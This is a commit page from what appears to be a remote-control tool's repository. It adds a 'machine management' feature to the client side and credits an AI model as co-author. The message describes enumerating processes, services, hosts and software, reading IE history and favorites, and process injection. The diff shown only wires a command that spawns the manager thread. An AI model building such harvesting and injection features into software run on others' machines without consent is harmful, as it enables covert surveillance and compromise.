Feature: Machine management (主机管理)
Migrate the MachineManager client from SimplePlugins and wire the server toolbar. Client: - Add CMachineManager (process/window/net/software/IE history/favorites/service/task/hosts enumeration plus process injection via yapi.hpp). - Add COMMAND_MACHINE_MANAGE (162) and spawn the manager on an authenticated sub-connection in KernelManager. - Register MachineManager.cpp/.h and yapi.hpp in both client projects. Server: - Add the 主机管理 toolbar button (index 18, after 远程交谈) reusing the IDI_MACHINE icon, plus en/zh_TW/de translations. Fix: - Free the IEnumSTATURL strings (su.pwcsUrl/su.pwcsTitle) with CoTaskMemFree, release the enumerator, and set STATURL.cbSize to stop the IE-history leak reported by VLD. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
c906a46bcc
commit
f72fda9b71
16 files changed
+3698
No files matched your search
@@ -1167,6 +1167,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_MACHINE_MANAGE: { // 主机管理
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
|
||||
Reference in new issue
Block a user